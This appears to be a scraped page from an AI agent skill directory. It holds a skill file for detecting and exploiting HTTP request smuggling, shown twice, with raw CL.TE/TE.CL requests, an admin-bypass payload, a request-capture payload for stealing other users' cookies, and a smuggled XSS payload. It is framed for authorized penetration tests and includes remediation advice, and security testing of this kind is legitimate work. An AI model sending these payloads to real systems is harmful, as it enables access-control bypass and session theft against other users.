[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7A6VGEWW7AS8BA9RXP64QYV":3,"skill-same:01M7A6VGEWW7AS8BA9RXP64QYV":83},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":46,"commitSha":47,"skillDirectory":48,"forksCount":14,"repositoryHtmlUrl":49,"repositoryHomepageUrl":6,"ownerHtmlUrl":50,"ownerBlogUrl":6,"ownerDescription":51,"updatedAt":52,"install":53,"resources":66},"01M7A6VGEWW7AS8BA9RXP64QYV","exploiting-http-request-smuggling",null,"Detects and exploits HTTP request smuggling caused by Content-Length\u002FTransfer-Encoding parsing discrepancies between front-end and back-end servers, using Burp Suite Repeater (auto Content-Length disabled), the HTTP Request Smuggler extension, and smuggler.py. Use during authorized tests of multi-tier architectures behind a reverse proxy, load balancer, or CDN to find desync flaws and bypass front-end controls.","NeelakshSaxena\u002FVayu","NeelakshSaxena","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F87892838?v=4","01M7A3B9YFS6F6N9DD1787DT86","Neelaksh Saxena","01M7A3B9ZKBT09MNMPX2XN69BY",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-http-request-smuggling\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-http-request-smuggling\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: exploiting-http-request-smuggling\ndescription: >-\n  Detects and exploits HTTP request smuggling caused by Content-Length\u002FTransfer-Encoding\n  parsing discrepancies between front-end and back-end servers, using Burp Suite\n  Repeater (auto Content-Length disabled), the HTTP Request Smuggler extension, and\n  smuggler.py. Use during authorized tests of multi-tier architectures behind a\n  reverse proxy, load balancer, or CDN to find desync flaws and bypass front-end\n  controls.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- request-smuggling\n- http-desync\n- web-security\n- burpsuite\n- owasp\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n---\n\n# Exploiting HTTP Request Smuggling\n\n## When to Use\n\n- During authorized penetration tests when the application sits behind a reverse proxy, load balancer, or CDN\n- When testing infrastructure with multiple HTTP processors in the request chain (nginx + Apache, HAProxy + Gunicorn)\n- For assessing applications for HTTP desynchronization vulnerabilities\n- When other attack vectors are limited and you need to bypass front-end security controls\n- During security assessments of multi-tier web architectures\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement explicitly covering request smuggling (high-risk test)\n- **Burp Suite Professional**: With HTTP Request Smuggler extension (Turbo Intruder)\n- **smuggler.py**: Automated HTTP request smuggling detection tool\n- **curl**: Compiled with HTTP\u002F1.1 support and manual chunked encoding\n- **Target architecture knowledge**: Understanding of proxy\u002Fserver chain (front-end and back-end)\n- **Caution**: Request smuggling can affect other users' requests; test carefully\n\n## Workflow\n\n### Step 1: Identify the HTTP Architecture\n\nDetermine the proxy\u002Fserver chain and HTTP parsing characteristics.\n\n```bash\n# Identify front-end proxy\u002FCDN\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -iE \\\n  \"(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish)\"\n\n# Common architectures:\n# Cloudflare → Nginx → Application\n# AWS ALB → Apache → Application\n# HAProxy → Gunicorn → Python app\n# Nginx → Node.js\u002FExpress\n# Akamai → IIS → .NET app\n\n# Check HTTP version support\ncurl -s -I --http1.1 \"https:\u002F\u002Ftarget.example.com\u002F\" | head -1\ncurl -s -I --http2 \"https:\u002F\u002Ftarget.example.com\u002F\" | head -1\n\n# Check if Transfer-Encoding is supported\ncurl -s -X POST \\\n  -H \"Transfer-Encoding: chunked\" \\\n  -H \"Content-Type: application\u002Fx-www-form-urlencoded\" \\\n  -d \"0\\r\\n\\r\\n\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F\" -w \"%{http_code}\"\n\n# Check for HTTP\u002F2 downgrade to HTTP\u002F1.1 on backend\n# Many CDNs accept HTTP\u002F2 but forward HTTP\u002F1.1 to origin\n```\n\n### Step 2: Test for CL.TE Smuggling\n\nThe front-end uses Content-Length, the back-end uses Transfer-Encoding.\n\n```\n# In Burp Suite Repeater, disable \"Update Content-Length\" option\n# Send the following request manually:\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 13\nTransfer-Encoding: chunked\n\n0\n\nSMUGGLED\n\n# If vulnerable (CL.TE):\n# Front-end reads 13 bytes (Content-Length), forwards entire request\n# Back-end reads chunked: \"0\\r\\n\\r\\n\" = end of body\n# \"SMUGGLED\" becomes the start of the next request\n\n# Detection technique: Time-based\n# If back-end reads chunked and sees incomplete chunk, it waits:\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 4\nTransfer-Encoding: chunked\n\n1\nA\nX\n\n# If response is delayed (~5-10 seconds), CL.TE is likely\n```\n\n### Step 3: Test for TE.CL Smuggling\n\nThe front-end uses Transfer-Encoding, the back-end uses Content-Length.\n\n```\n# Burp Repeater - disable \"Update Content-Length\"\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 3\nTransfer-Encoding: chunked\n\n8\nSMUGGLED\n0\n\n\n# If vulnerable (TE.CL):\n# Front-end reads chunked: chunk \"SMUGGLED\" + final \"0\"\n# Back-end reads 3 bytes of Content-Length: \"8\\r\\n\"\n# Remaining \"SMUGGLED\\r\\n0\\r\\n\\r\\n\" becomes next request prefix\n\n# Detection via differential response:\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 6\nTransfer-Encoding: chunked\n\n0\n\nX\n\n# Front-end (TE): reads \"0\\r\\n\\r\\n\", sees end\n# Back-end (CL): reads 6 bytes \"0\\r\\nX\\r\\n\"\n# Next request gets \"X\" prepended, causing 400\u002F405 errors\n```\n\n### Step 4: Use Automated Detection Tools\n\nRun automated scanners to detect smuggling variants.\n\n```bash\n# Using smuggler.py\ngit clone https:\u002F\u002Fgithub.com\u002Fdefparam\u002Fsmuggler.git\ncd smuggler\npython3 smuggler.py -u \"https:\u002F\u002Ftarget.example.com\u002F\" -m GET POST\n\n# Using Burp HTTP Request Smuggler extension\n# 1. Install from BApp Store: \"HTTP Request Smuggler\"\n# 2. Right-click target in Site Map > Extensions > HTTP Request Smuggler > Smuggle probe\n# 3. Check Scanner > Issue Activity for results\n\n# Using h2csmuggler for HTTP\u002F2 smuggling\n# git clone https:\u002F\u002Fgithub.com\u002FBishopFox\u002Fh2cSmuggler.git\npython3 h2csmuggler.py -x \"https:\u002F\u002Ftarget.example.com\u002F\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fadmin\"\n\n# Manual detection with Turbo Intruder\n# Send paired requests with different timing\n# First request: smuggling prefix\n# Second request: normal request that gets affected\n```\n\n### Step 5: Exploit Request Smuggling for Impact\n\nLeverage confirmed smuggling for practical attacks.\n\n```\n# Attack 1: Bypass front-end access controls\n# Access \u002Fadmin which is blocked by the front-end proxy\n\n# CL.TE exploit:\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 56\nTransfer-Encoding: chunked\n\n0\n\nGET \u002Fadmin HTTP\u002F1.1\nHost: target.example.com\nFoo: x\n\n# The smuggled \"GET \u002Fadmin\" request bypasses front-end restrictions\n# because it's processed by the back-end directly\n\n# Attack 2: Capture other users' requests\n# Smuggle a request that stores the next user's request in a visible location\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 130\nTransfer-Encoding: chunked\n\n0\n\nPOST \u002Fapi\u002Fcomments HTTP\u002F1.1\nHost: target.example.com\nContent-Type: application\u002Fx-www-form-urlencoded\nContent-Length: 400\n\nbody=\n\n# The next legitimate user's request gets appended to \"body=\"\n# and stored as a comment, exposing their cookies and headers\n\n# Attack 3: Reflected XSS escalation\n# Smuggle a request that will reflect XSS in the next response\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 150\nTransfer-Encoding: chunked\n\n0\n\nGET \u002Fsearch?q=\u003Cscript>alert(document.cookie)\u003C\u002Fscript> HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 10\nFoo: x\n\n# Next user receives the XSS response instead of their expected response\n```\n\n### Step 6: Test HTTP\u002F2 Request Smuggling\n\nAssess HTTP\u002F2 specific smuggling vectors.\n\n```\n# HTTP\u002F2 smuggling via CRLF injection in headers\n# HTTP\u002F2 should reject \\r\\n in header values, but some proxies don't\n\n# H2.CL smuggling: HTTP\u002F2 front-end, Content-Length on back-end\n# Send HTTP\u002F2 request with mismatched :path and content\n\n# Using Burp Suite with HTTP\u002F2 support:\n# 1. Enable HTTP\u002F2 in Repeater: Inspector > HTTP\u002F2\n# 2. Craft request with conflicting CL header\n\n# HTTP\u002F2 header injection\n# Add: Transfer-Encoding: chunked via HTTP\u002F2 pseudo-header\n# Some front-ends strip TE from HTTP\u002F1.1 but not from HTTP\u002F2\n\n# Test HTTP\u002F2 request tunneling\n# If front-end reuses HTTP\u002F2 connections for multiple users:\n# Poison the connection to affect subsequent requests\n\n# H2.TE smuggling via HTTP\u002F2 CONNECT\n# Use CONNECT method in HTTP\u002F2 to establish tunnels\n# that bypass front-end security controls\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **CL.TE Smuggling** | Front-end uses Content-Length, back-end uses Transfer-Encoding |\n| **TE.CL Smuggling** | Front-end uses Transfer-Encoding, back-end uses Content-Length |\n| **TE.TE Smuggling** | Both use Transfer-Encoding but parse obfuscated TE headers differently |\n| **HTTP Desync** | State where front-end and back-end disagree on request boundaries |\n| **Request Splitting** | One HTTP request is interpreted as two separate requests |\n| **Connection Poisoning** | Smuggled data affects the next request on the same TCP connection |\n| **H2.CL Smuggling** | HTTP\u002F2 to HTTP\u002F1.1 downgrade with Content-Length discrepancy |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Manual request crafting with disabled auto Content-Length |\n| **HTTP Request Smuggler (Burp)** | Automated smuggling detection extension by James Kettle |\n| **smuggler.py** | Python-based automated HTTP request smuggling scanner |\n| **h2cSmuggler** | HTTP\u002F2 cleartext smuggling tool from Bishop Fox |\n| **Turbo Intruder** | High-speed request engine for time-sensitive smuggling tests |\n| **curl** | Manual HTTP request crafting with precise byte control |\n\n## Common Scenarios\n\n### Scenario 1: Admin Panel Access Bypass\nThe front-end proxy blocks `\u002Fadmin` requests. A CL.TE smuggling attack prepends `GET \u002Fadmin` to the back-end's request queue, causing the back-end to process the admin request without the front-end's access control check.\n\n### Scenario 2: Cookie Theft via Request Capture\nA TE.CL smuggling attack injects a partial POST request to a comment endpoint. The next user's request (including cookies and authorization headers) is appended to the comment body and stored in the database.\n\n### Scenario 3: Cache Poisoning via Smuggling\nA smuggled request causes the cache to store a response from a different URL. Combined with cache poisoning, the attacker serves malicious content to all users requesting the legitimate URL.\n\n### Scenario 4: HTTP\u002F2 Desync on CDN\nThe CDN accepts HTTP\u002F2 and downgrades to HTTP\u002F1.1 for the origin. A header injection via HTTP\u002F2 creates a desync, allowing the attacker to smuggle requests that bypass the CDN's WAF rules.\n\n## Output Format\n\n```\n## HTTP Request Smuggling Finding\n\n**Vulnerability**: CL.TE HTTP Request Smuggling\n**Severity**: Critical (CVSS 9.1)\n**Location**: Front-end (Cloudflare) → Back-end (Nginx + Gunicorn)\n**OWASP Category**: A05:2021 - Security Misconfiguration\n\n### Architecture\nFront-end: Cloudflare (Content-Length priority)\nBack-end: Gunicorn (Transfer-Encoding priority)\nProtocol: HTTP\u002F1.1 between proxy and origin\n\n### Reproduction Steps\n1. Send POST request with both Content-Length and Transfer-Encoding headers\n2. Content-Length set to include smuggled request prefix\n3. Transfer-Encoding: chunked with \"0\\r\\n\\r\\n\" ending body\n4. Smuggled data becomes prefix of next back-end request\n\n### Confirmed Exploits\n| Exploit | Impact |\n|---------|--------|\n| Admin bypass | Accessed \u002Fadmin without authentication |\n| Request capture | Stole session cookies from other users |\n| XSS escalation | Delivered reflected XSS to arbitrary users |\n| Cache poisoning | Poisoned CDN cache with malicious response |\n\n### Recommendation\n1. Ensure front-end and back-end use the same HTTP parsing behavior\n2. Reject ambiguous requests with both Content-Length and Transfer-Encoding\n3. Upgrade to HTTP\u002F2 end-to-end (no protocol downgrade)\n4. Use HTTP\u002F2 between proxy and origin server\n5. Normalize requests at the front-end before forwarding\n```\n","# Exploiting HTTP Request Smuggling\n\n## When to Use\n\n- During authorized penetration tests when the application sits behind a reverse proxy, load balancer, or CDN\n- When testing infrastructure with multiple HTTP processors in the request chain (nginx + Apache, HAProxy + Gunicorn)\n- For assessing applications for HTTP desynchronization vulnerabilities\n- When other attack vectors are limited and you need to bypass front-end security controls\n- During security assessments of multi-tier web architectures\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement explicitly covering request smuggling (high-risk test)\n- **Burp Suite Professional**: With HTTP Request Smuggler extension (Turbo Intruder)\n- **smuggler.py**: Automated HTTP request smuggling detection tool\n- **curl**: Compiled with HTTP\u002F1.1 support and manual chunked encoding\n- **Target architecture knowledge**: Understanding of proxy\u002Fserver chain (front-end and back-end)\n- **Caution**: Request smuggling can affect other users' requests; test carefully\n\n## Workflow\n\n### Step 1: Identify the HTTP Architecture\n\nDetermine the proxy\u002Fserver chain and HTTP parsing characteristics.\n\n```bash\n# Identify front-end proxy\u002FCDN\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -iE \\\n  \"(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish)\"\n\n# Common architectures:\n# Cloudflare → Nginx → Application\n# AWS ALB → Apache → Application\n# HAProxy → Gunicorn → Python app\n# Nginx → Node.js\u002FExpress\n# Akamai → IIS → .NET app\n\n# Check HTTP version support\ncurl -s -I --http1.1 \"https:\u002F\u002Ftarget.example.com\u002F\" | head -1\ncurl -s -I --http2 \"https:\u002F\u002Ftarget.example.com\u002F\" | head -1\n\n# Check if Transfer-Encoding is supported\ncurl -s -X POST \\\n  -H \"Transfer-Encoding: chunked\" \\\n  -H \"Content-Type: application\u002Fx-www-form-urlencoded\" \\\n  -d \"0\\r\\n\\r\\n\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F\" -w \"%{http_code}\"\n\n# Check for HTTP\u002F2 downgrade to HTTP\u002F1.1 on backend\n# Many CDNs accept HTTP\u002F2 but forward HTTP\u002F1.1 to origin\n```\n\n### Step 2: Test for CL.TE Smuggling\n\nThe front-end uses Content-Length, the back-end uses Transfer-Encoding.\n\n```\n# In Burp Suite Repeater, disable \"Update Content-Length\" option\n# Send the following request manually:\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 13\nTransfer-Encoding: chunked\n\n0\n\nSMUGGLED\n\n# If vulnerable (CL.TE):\n# Front-end reads 13 bytes (Content-Length), forwards entire request\n# Back-end reads chunked: \"0\\r\\n\\r\\n\" = end of body\n# \"SMUGGLED\" becomes the start of the next request\n\n# Detection technique: Time-based\n# If back-end reads chunked and sees incomplete chunk, it waits:\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 4\nTransfer-Encoding: chunked\n\n1\nA\nX\n\n# If response is delayed (~5-10 seconds), CL.TE is likely\n```\n\n### Step 3: Test for TE.CL Smuggling\n\nThe front-end uses Transfer-Encoding, the back-end uses Content-Length.\n\n```\n# Burp Repeater - disable \"Update Content-Length\"\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 3\nTransfer-Encoding: chunked\n\n8\nSMUGGLED\n0\n\n\n# If vulnerable (TE.CL):\n# Front-end reads chunked: chunk \"SMUGGLED\" + final \"0\"\n# Back-end reads 3 bytes of Content-Length: \"8\\r\\n\"\n# Remaining \"SMUGGLED\\r\\n0\\r\\n\\r\\n\" becomes next request prefix\n\n# Detection via differential response:\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 6\nTransfer-Encoding: chunked\n\n0\n\nX\n\n# Front-end (TE): reads \"0\\r\\n\\r\\n\", sees end\n# Back-end (CL): reads 6 bytes \"0\\r\\nX\\r\\n\"\n# Next request gets \"X\" prepended, causing 400\u002F405 errors\n```\n\n### Step 4: Use Automated Detection Tools\n\nRun automated scanners to detect smuggling variants.\n\n```bash\n# Using smuggler.py\ngit clone https:\u002F\u002Fgithub.com\u002Fdefparam\u002Fsmuggler.git\ncd smuggler\npython3 smuggler.py -u \"https:\u002F\u002Ftarget.example.com\u002F\" -m GET POST\n\n# Using Burp HTTP Request Smuggler extension\n# 1. Install from BApp Store: \"HTTP Request Smuggler\"\n# 2. Right-click target in Site Map > Extensions > HTTP Request Smuggler > Smuggle probe\n# 3. Check Scanner > Issue Activity for results\n\n# Using h2csmuggler for HTTP\u002F2 smuggling\n# git clone https:\u002F\u002Fgithub.com\u002FBishopFox\u002Fh2cSmuggler.git\npython3 h2csmuggler.py -x \"https:\u002F\u002Ftarget.example.com\u002F\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fadmin\"\n\n# Manual detection with Turbo Intruder\n# Send paired requests with different timing\n# First request: smuggling prefix\n# Second request: normal request that gets affected\n```\n\n### Step 5: Exploit Request Smuggling for Impact\n\nLeverage confirmed smuggling for practical attacks.\n\n```\n# Attack 1: Bypass front-end access controls\n# Access \u002Fadmin which is blocked by the front-end proxy\n\n# CL.TE exploit:\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 56\nTransfer-Encoding: chunked\n\n0\n\nGET \u002Fadmin HTTP\u002F1.1\nHost: target.example.com\nFoo: x\n\n# The smuggled \"GET \u002Fadmin\" request bypasses front-end restrictions\n# because it's processed by the back-end directly\n\n# Attack 2: Capture other users' requests\n# Smuggle a request that stores the next user's request in a visible location\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 130\nTransfer-Encoding: chunked\n\n0\n\nPOST \u002Fapi\u002Fcomments HTTP\u002F1.1\nHost: target.example.com\nContent-Type: application\u002Fx-www-form-urlencoded\nContent-Length: 400\n\nbody=\n\n# The next legitimate user's request gets appended to \"body=\"\n# and stored as a comment, exposing their cookies and headers\n\n# Attack 3: Reflected XSS escalation\n# Smuggle a request that will reflect XSS in the next response\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 150\nTransfer-Encoding: chunked\n\n0\n\nGET \u002Fsearch?q=\u003Cscript>alert(document.cookie)\u003C\u002Fscript> HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 10\nFoo: x\n\n# Next user receives the XSS response instead of their expected response\n```\n\n### Step 6: Test HTTP\u002F2 Request Smuggling\n\nAssess HTTP\u002F2 specific smuggling vectors.\n\n```\n# HTTP\u002F2 smuggling via CRLF injection in headers\n# HTTP\u002F2 should reject \\r\\n in header values, but some proxies don't\n\n# H2.CL smuggling: HTTP\u002F2 front-end, Content-Length on back-end\n# Send HTTP\u002F2 request with mismatched :path and content\n\n# Using Burp Suite with HTTP\u002F2 support:\n# 1. Enable HTTP\u002F2 in Repeater: Inspector > HTTP\u002F2\n# 2. Craft request with conflicting CL header\n\n# HTTP\u002F2 header injection\n# Add: Transfer-Encoding: chunked via HTTP\u002F2 pseudo-header\n# Some front-ends strip TE from HTTP\u002F1.1 but not from HTTP\u002F2\n\n# Test HTTP\u002F2 request tunneling\n# If front-end reuses HTTP\u002F2 connections for multiple users:\n# Poison the connection to affect subsequent requests\n\n# H2.TE smuggling via HTTP\u002F2 CONNECT\n# Use CONNECT method in HTTP\u002F2 to establish tunnels\n# that bypass front-end security controls\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **CL.TE Smuggling** | Front-end uses Content-Length, back-end uses Transfer-Encoding |\n| **TE.CL Smuggling** | Front-end uses Transfer-Encoding, back-end uses Content-Length |\n| **TE.TE Smuggling** | Both use Transfer-Encoding but parse obfuscated TE headers differently |\n| **HTTP Desync** | State where front-end and back-end disagree on request boundaries |\n| **Request Splitting** | One HTTP request is interpreted as two separate requests |\n| **Connection Poisoning** | Smuggled data affects the next request on the same TCP connection |\n| **H2.CL Smuggling** | HTTP\u002F2 to HTTP\u002F1.1 downgrade with Content-Length discrepancy |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Manual request crafting with disabled auto Content-Length |\n| **HTTP Request Smuggler (Burp)** | Automated smuggling detection extension by James Kettle |\n| **smuggler.py** | Python-based automated HTTP request smuggling scanner |\n| **h2cSmuggler** | HTTP\u002F2 cleartext smuggling tool from Bishop Fox |\n| **Turbo Intruder** | High-speed request engine for time-sensitive smuggling tests |\n| **curl** | Manual HTTP request crafting with precise byte control |\n\n## Common Scenarios\n\n### Scenario 1: Admin Panel Access Bypass\nThe front-end proxy blocks `\u002Fadmin` requests. A CL.TE smuggling attack prepends `GET \u002Fadmin` to the back-end's request queue, causing the back-end to process the admin request without the front-end's access control check.\n\n### Scenario 2: Cookie Theft via Request Capture\nA TE.CL smuggling attack injects a partial POST request to a comment endpoint. The next user's request (including cookies and authorization headers) is appended to the comment body and stored in the database.\n\n### Scenario 3: Cache Poisoning via Smuggling\nA smuggled request causes the cache to store a response from a different URL. Combined with cache poisoning, the attacker serves malicious content to all users requesting the legitimate URL.\n\n### Scenario 4: HTTP\u002F2 Desync on CDN\nThe CDN accepts HTTP\u002F2 and downgrades to HTTP\u002F1.1 for the origin. A header injection via HTTP\u002F2 creates a desync, allowing the attacker to smuggle requests that bypass the CDN's WAF rules.\n\n## Output Format\n\n```\n## HTTP Request Smuggling Finding\n\n**Vulnerability**: CL.TE HTTP Request Smuggling\n**Severity**: Critical (CVSS 9.1)\n**Location**: Front-end (Cloudflare) → Back-end (Nginx + Gunicorn)\n**OWASP Category**: A05:2021 - Security Misconfiguration\n\n### Architecture\nFront-end: Cloudflare (Content-Length priority)\nBack-end: Gunicorn (Transfer-Encoding priority)\nProtocol: HTTP\u002F1.1 between proxy and origin\n\n### Reproduction Steps\n1. Send POST request with both Content-Length and Transfer-Encoding headers\n2. Content-Length set to include smuggled request prefix\n3. Transfer-Encoding: chunked with \"0\\r\\n\\r\\n\" ending body\n4. Smuggled data becomes prefix of next back-end request\n\n### Confirmed Exploits\n| Exploit | Impact |\n|---------|--------|\n| Admin bypass | Accessed \u002Fadmin without authentication |\n| Request capture | Stole session cookies from other users |\n| XSS escalation | Delivered reflected XSS to arbitrary users |\n| Cache poisoning | Poisoned CDN cache with malicious response |\n\n### Recommendation\n1. Ensure front-end and back-end use the same HTTP parsing behavior\n2. Reject ambiguous requests with both Content-Length and Transfer-Encoding\n3. Upgrade to HTTP\u002F2 end-to-end (no protocol downgrade)\n4. Use HTTP\u002F2 between proxy and origin server\n5. Normalize requests at the front-end before forwarding\n```\n",{"name":5,"tags":25,"author":32,"domain":33,"license":15,"version":34,"nist_csf":35,"subdomain":40,"description":7,"mitre_attack":41},[26,27,28,29,30,31],"penetration-testing","request-smuggling","http-desync","web-security","burpsuite","owasp","mahipal","cybersecurity","1.0",[36,37,38,39],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[42,43,44,45],"T1190","T1059.007","T1505.003","T1083","main","7540bbccf0c1ded6156a467b02c95b61ad62413f",".agents\u002Fskills\u002Fexploiting-http-request-smuggling","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena","Currently exploring the intersection of tech","2026-09-11 03:02:31",{"source":8,"skillName":5,"commands":54,"prompt":64,"zipAvailable":65},[55,58,61],{"tool":56,"command":57},"npx","npx skills add NeelakshSaxena\u002FVayu --skill exploiting-http-request-smuggling",{"tool":59,"command":60},"bunx","bunx skills add NeelakshSaxena\u002FVayu --skill exploiting-http-request-smuggling",{"tool":62,"command":63},"pnpm","pnpm dlx skills add NeelakshSaxena\u002FVayu --skill exploiting-http-request-smuggling","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-http-request-smuggling\u002FSKILL.md",true,[67,71,77],{"path":68,"resourceType":68,"resourceTypeDesc":69,"sizeBytes":70,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":72,"resourceType":73,"resourceTypeDesc":74,"sizeBytes":75,"sourceHtmlUrl":76},"references\u002Fapi-reference.md","REFERENCE","参考文档",1969,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-http-request-smuggling\u002Freferences\u002Fapi-reference.md",{"path":78,"resourceType":79,"resourceTypeDesc":80,"sizeBytes":81,"sourceHtmlUrl":82},"scripts\u002Fagent.py","SCRIPT","脚本",6479,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-http-request-smuggling\u002Fscripts\u002Fagent.py",[84,91,98,105,112,119],{"skillNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":88,"categories":89,"keywords":90,"publishedAt":20},"01M7ACCCVNCFKMA9X6D15X6G98","runpodctl","Runpod CLI for managing GPU\u002FCPU workloads from the terminal — pods, serverless endpoints, templates, network volumes, Hub deploys, models, SSH, and file transfer (send\u002Freceive). Use for terminal\u002FCI\u002Fscripting, Hub browse\u002Fdeploy, SSH setup, `doctor`, or when the Runpod MCP tools are not connected. For structured tool calls in an MCP-enabled session, prefer runpod-mcp.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpodctl\u002FSKILL.md",[],[],{"skillNo":92,"name":93,"nameZh":6,"description":94,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":95,"categories":96,"keywords":97,"publishedAt":20},"01M7ACC63SRHEA5KMCHSMZK2TC","runpod","Start here for any Runpod task — running GPU\u002FCPU pods, deploying serverless endpoints, templates, network volumes, building images, or understanding how Runpod works. Routes to the right skill (runpod-mcp, runpodctl, flash, companion-clis, runpod-usage, runpod-templates, runpod-migrate) and indexes two dozen live-verified end-to-end examples (golden paths) — use it when the lane is unclear, and for any multi-step or provisioning task even when it is not.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod\u002FSKILL.md",[],[],{"skillNo":99,"name":100,"nameZh":6,"description":101,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":102,"categories":103,"keywords":104,"publishedAt":20},"01M7ACC0Q1C89N9BZBV91CTQTF","runpod-usage","How Runpod works and how to work it — pods vs serverless, GPU\u002FVRAM selection, storage, building a container, networking, plus the agentic pod development loop (provision → ssh-exec → set up → poll readiness) and on-pod install hygiene (uv\u002Fapt). Use to answer \"how does X work\", \"which GPU\", \"how do I build a container\", or \"how do I stand up a workload on a pod\". Guidance, not a tool — execute with runpodctl, runpod-mcp, or flash.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-usage\u002FSKILL.md",[],[],{"skillNo":106,"name":107,"nameZh":6,"description":108,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":109,"categories":110,"keywords":111,"publishedAt":20},"01M7ACBRPE345GF5GM5B8P8RRC","runpod-templates","Runpod's official prebuilt pod templates (ComfyUI, PyTorch, and others): what each image ships, which ports and paths it uses, how to pick one, how to pin a version, and what is missing on first boot. Use when a task says \"run \u003CX> on a pod\" and an official template already covers it, instead of building an image — and when a user needs help with or wants to fix something about a Runpod template they are already running (won't boot, can't reach the UI, missing models, wrong CUDA line, broken ComfyUI workflow metadata on imported workflows): start here and route onward. Deploy with runpodctl or runpod-mcp; end-to-end walkthroughs live in the runpod router's golden 